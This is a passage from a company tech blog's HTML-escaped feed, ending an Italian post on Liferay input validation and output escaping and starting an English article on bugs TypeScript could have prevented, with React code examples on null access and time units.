prima che questi possano essere persistiti o processati per la risposta in output;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;neutralizzazione&lt;/strong&gt; tramite escaping o sanitizzazione dell&amp;#x27;output.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Liferay garantisce il più alto livello di sicurezza possibile sia nelle versioni
community (CE) che nelle versioni enterprise (DXP), ed aiuta lo sviluppatore
nel tenere alto il livello di sicurezza anche nello sviluppo di nuove componenti.&lt;/p&gt;&lt;style class=&quot;grvsc-styles&quot;&gt;
  .grvsc-container {
    overflow: auto;
    -webkit-overflow-scrolling: touch;
    padding-top: 1rem;
    padding-top: var(--grvsc-padding-top, var(--grvsc-padding-v, 1rem));
    padding-bottom: 1rem;
    padding-bottom: var(--grvsc-padding-bottom, var(--grvsc-padding-v, 1rem));
    border-radius: 8px;
    border-radius: var(--grvsc-border-radius, 8px);
    font-feature-settings: normal;
  }
  
  .grvsc-code {
    display: inline-block;
    min-width: 100%;
  }
  
  .grvsc-line {
    display: inline-block;
    box-sizing: border-box;
    width: 100%;
    padding-left: 1.5rem;
    padding-left: var(--grvsc-padding-left, var(--grvsc-padding-h, 1.5rem));
    padding-right: 1.5rem;
    padding-right: var(--grvsc-padding-right, var(--grvsc-padding-h, 1.5rem));
  }
  
  .grvsc-line-highlighted {
    background-color: var(--grvsc-line-highlighted-background-color, transparent);
    box-shadow: inset var(--grvsc-line-highlighted-border-width, 4px) 0 0 0 var(--grvsc-line-highlighted-border-color, transparent);
  }
  
  .default-dark {
    background-color: #1E1E1E;
    color: #D4D4D4;
  }
  .default-dark .mtk1 { color: #D4D4D4; }
  .default-dark .mtk12 { color: #9CDCFE; }
  .default-dark .mtk11 { color: #DCDCAA; }
  .default-dark .mtk8 { color: #CE9178; }
  .default-dark .mtk3 { color: #6A9955; }
  .default-dark .mtk10 { color: #4EC9B0; }
  .default-dark .mtk15 { color: #C586C0; }
  .default-dark .mtk4 { color: #569CD6; }
  .default-dark .mtk7 { color: #B5CEA8; }
  .default-dark .mtk17 { color: #808080; }
  .default-dark .mtk14 { color: #F44747; }
&lt;/style&gt;</content:encoded></item><item><title><![CDATA[3 bugs that TypeScript could have prevented]]></title><link>https://techblog.smc.ittypescript-use-cases</link><guid isPermaLink="false">https://techblog.smc.ittypescript-use-cases</guid><pubDate>Wed, 10 Jun 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Every JavaScript developer, both frontend and backend, will surely have experienced the problems of writing code without a type checker. How many times have you seen errors like this?&lt;/p&gt;&lt;div class=&quot;Quote-module--content--25D05&quot;&gt;&lt;blockquote&gt;&lt;p&gt;&lt;code&gt;Uncaught TypeError: Cannot read property &amp;#x27;value&amp;#x27; of undefined&lt;/code&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;p&gt;This cryptic message is just telling us that the variable we are reading does not point to an object but to &lt;code&gt;undefined&lt;/code&gt;. Finding the cause of these errors is fairly simple if the application is small enough, but it becomes exponentially more complicated as the codebase grows.&lt;/p&gt;&lt;p&gt;Fortunately, a tool has been invented to solve this kind of problems, &lt;a href=&quot;https://www.typescriptlang.org/&quot;&gt;TypeScript&lt;/a&gt;. TypeScript is a JavaScript superset that allows you to add type annotations to your code, providing also development tools that allow:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Type correctness&lt;/strong&gt; checking, such as:&lt;ul&gt;&lt;li&gt;Access to null values&lt;/li&gt;&lt;li&gt;Missing fields on objects&lt;/li&gt;&lt;li&gt;Not implemented edge cases&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;Real time type-based code &lt;strong&gt;Autocompletion&lt;/strong&gt;:&lt;ul&gt;&lt;li&gt;Strong integration with IDEs like &lt;a href=&quot;https://code.visualstudio.com/&quot;&gt;Visual Studio Code&lt;/a&gt;&lt;/li&gt;&lt;li&gt;Allows to have always updated and correct &lt;strong&gt;documentation&lt;/strong&gt;, since it&amp;#x27;s based directly on the types in the code&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;In this article, however, we won&amp;#x27;t talk about the language specifically, since it already has an &lt;a href=&quot;https://www.typescriptlang.org/docs/home.html&quot;&gt;excellent documentation&lt;/a&gt; and many detailed guides. To show the real value of this tool we&amp;#x27;d like instead to focus on our experience, and all the times TypeScript really helped us to solve certain problems.&lt;/p&gt;&lt;h1 id=&quot;🧨-1-access-to-null-values&quot;&gt;🧨 1. Access to null values&lt;/h1&gt;&lt;p&gt;A first example comes directly from our blog, during the development of the internationalization.&lt;/p&gt;&lt;p&gt;The first time a user visits the website their preferred language is saved in &lt;em&gt;LocalStorage&lt;/em&gt;. When the user visits the root of the website again, they&amp;#x27;re redirected to the correct language path (&lt;code&gt;/en&lt;/code&gt; for example), using a table that contains the path for every language.&lt;/p&gt;&lt;p&gt;This wrong implementation works fine, until someone removes a language from the website or corrupts the saved preference.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;javascript&quot; data-index=&quot;0&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;languages&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;it:&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; { &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;baseUrl:&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;/it&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;en:&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; { &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;baseUrl:&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;/en&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;};&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;defaultLanguageKey&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;it&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;export&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;default&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;IndexPage&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk3&quot;&gt;// Saved preferred language from LocalStorage&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;preferredLanguageKey&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;localStorage&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;getItem&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;lang&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;languageKey&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;preferredLanguageKey&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; || &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;defaultLanguageKey&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line grvsc-line-highlighted&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;languages&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;languageKey&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;baseUrl&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Redirect&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;to&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;&lt;a target=&quot;_blank&quot; href=&quot;https://www.typescriptlang.org/play/index.html?jsx=1&amp;amp;ssl=1&amp;amp;ssc=1&amp;amp;pln=17&amp;amp;pc=2#code/MYewdgzgLgBANgQzAcwK4OQUwjAvDAbwFgAoGGASygC5CYAjBCTAVQCc5aAiAeiq5gBfADSlymMLQIMmrDtx4SBI0oIDcpUJFgATTADMEqOFAAySNBkwBpTAE88MLvw0lSmAB4AHEG10GjExh9VDBgKApwGABJMD0PAAUrAAoASkIxGB4eGFMKFHQYLzYDTDYqBBgIBDgANwQoSohUXJBgGoBlKF8rTK1oIpL9MpKdcwKrWwd8AHd8nRAZgDo4Ns7utislrChoqEwAW2SuRBQuVNc+8AHTyywpx2LStlHxu5t7GAAfL5g9Q2MZgs6Hu9lc5H6sC8DQAFo5biDsABtBGTewAXSWjGY7DglzIMBKUFQbDAMAAPAAlTA6CglcIwbq4AjQqAwwRZAB8rkEQA&quot;&gt;Try it on Playground&lt;/a&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Reading the language&amp;#x27;s &lt;code&gt;baseUrl&lt;/code&gt; field, if &lt;code&gt;languageKey&lt;/code&gt; is not present in languages we will read an &lt;code&gt;undefined&lt;/code&gt; field. This causes a &lt;code&gt;TypeError: languages[languageKey] is undefined&lt;/code&gt; exception, that will crash React and the entire application.&lt;/p&gt;&lt;p&gt;If we analyze the code with TypeScript, keeping it as-is &lt;strong&gt;without adding any type annotation&lt;/strong&gt;, we will get che following error:&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/8463e8b93889deb1d9272800e2c908a6/21e8f/error.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:26.333333333333336%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;105\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20105\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2053v52h401V0H281a1678%201678%200%2000-122%201A1538%201538%200%200014%200H0v53m80%2015c0%204%202%205%204%203h1v1l2-1-1-1v-1c2-1%204%200%202%202h20v1l1-2v-3l-5-1c-3%200-4%201-3%202h-2l-2-1h-3l-4-1%201%202h-1c-1-2-6-2-8%200-1%201-1%201-1-1l-1-2v3m34%200c0%203%202%204%202%202h5c0-2%200-2%201%200%202%201%2010%203%208%201h1l2-1h2c1%202%202%202%203%201l2-1h4l2%201c2%201%204%200%204-3%201-1%200-2-2-2l-4%201h-1c1-2%200-2-2-1h-13c-8%200-11%201-12%202s-1%201-1-1l-1-2v3\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/8463e8b93889deb1d9272800e2c908a6/c85cb/error.webp 300w,/static/8463e8b93889deb1d9272800e2c908a6/e88ff/error.webp 600w,/static/8463e8b93889deb1d9272800e2c908a6/92f8c/error.webp 1200w,/static/8463e8b93889deb1d9272800e2c908a6/f114c/error.webp 1684w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/8463e8b93889deb1d9272800e2c908a6/5a46d/error.png 300w,/static/8463e8b93889deb1d9272800e2c908a6/0a47e/error.png 600w,/static/8463e8b93889deb1d9272800e2c908a6/c1b63/error.png 1200w,/static/8463e8b93889deb1d9272800e2c908a6/21e8f/error.png 1684w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;The error we get from the compiler&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/8463e8b93889deb1d9272800e2c908a6/c1b63/error.png&quot; title=&quot;The error we get from the compiler&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;The error we get from the compiler&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;&lt;strong&gt;Typescript was able to spot the mistake without any additional type annotation, saving us from a probable crash&lt;/strong&gt; &lt;em&gt;(try it yourself on the &lt;a target=&quot;_blank&quot; href=&quot;https://www.typescriptlang.org/play/index.html?jsx=1&amp;amp;ssl=1&amp;amp;ssc=1&amp;amp;pln=17&amp;amp;pc=2#code/MYewdgzgLgBANgQzAcwK4OQUwjAvDAbwFgAoGGASygC5CYAjBCTAVQCc5aAiAeiq5gBfADSlymMLQIMmrDtx4SBI0oIDcpUJFgATTADMEqOFAAySNBkwBpTAE88MLvw0lSmAB4AHEG10GjExh9VDBgKApwGABJMD0PAAUrAAoASkIxGB4eGFMKFHQYLzYDTDYqBBgIBDgANwQoSohUXJBgGoBlKF8rTK1oIpL9MpKdcwKrWwd8AHd8nRAZgDo4Ns7utislrChoqEwAW2SuRBQuVNc+8AHTyywpx2LStlHxu5t7GAAfL5g9Q2MZgs6Hu9lc5H6sC8DQAFo5biDsABtBGTewAXSWjGY7DglzIMBKUFQbDAMAAPAAlTA6CglcIwbq4AjQqAwwRZAB8rkEQA&quot;&gt;Playground&lt;/a&gt;)&lt;/em&gt;.&lt;/p&gt;&lt;p&gt;As we said in the beginning, this specific example comes from our blog, which was written in plain JavaScript. If we had used TypeScript from the beginning we would have noticed this bug earlier during development, not days after the blog went into production. TypeScript therefore proves itself very useful to avoid this whole class of errors, greatly reducing the time necessary for testing.&lt;/p&gt;&lt;p&gt;Being able to verify accesses to null fields makes TypeScript even more powerful and secure than other compilers, such as Java, where &lt;code&gt;null&lt;/code&gt; dereference is referred as the &lt;a href=&quot;https://www.lucidchart.com/techblog/2015/08/31/the-worst-mistake-of-computer-science/?ref=hackernoon.com&quot;&gt;&lt;em&gt;&amp;quot;million dollar mistake&amp;quot;&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&lt;h1 id=&quot;-2-typing-numerical-values-time-units-management&quot;&gt;⏱ 2. Typing numerical values: time units management&lt;/h1&gt;&lt;p&gt;Another hard problem when developing software is time management. Dealing with durations, timestamps and timezones requires a lot of attention, since it can easily lead to off-by-one errors or wrong units.&lt;/p&gt;&lt;p&gt;In SMC, we built a web application to manage employees timetables. We receive an employee&amp;#x27;s information from a service, including their working hours, saved as minutes in JSON format.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;javascript&quot; data-index=&quot;1&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;employee&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;name:&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;John Doe&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk3&quot;&gt;// string&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;shiftHours:&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;monday:&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;60&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk3&quot;&gt;// number&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;tuesday:&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;120&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;wednesday:&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;240&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;thursday:&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;180&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;friday:&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;60&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;saturday:&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;120&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;sunday:&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;};&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;In this case, TypeScript interprets &lt;code&gt;shiftHours&lt;/code&gt; values type as&lt;code&gt; number&lt;/code&gt;. This may sound harmless, but it doesn&amp;#x27;t allow us to verify that &lt;em&gt;they are represented as minutes, not as hours&lt;/em&gt;. Unless you remark it in the documentation, another developer could easily make a mistake and swap the unit of measure, interpreting that number as hours.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;typescriptreact&quot; data-index=&quot;2&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;HourDisplay&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;({ &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;hours&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; }: { &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;hours&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;number&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; }) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;hours&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; hours&lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;EmployeeDisplay&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;({ &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;employee&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; }: { &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;employee&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Employee&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; }) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; (&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;h2&lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;Name: &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;employee&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;h2&lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
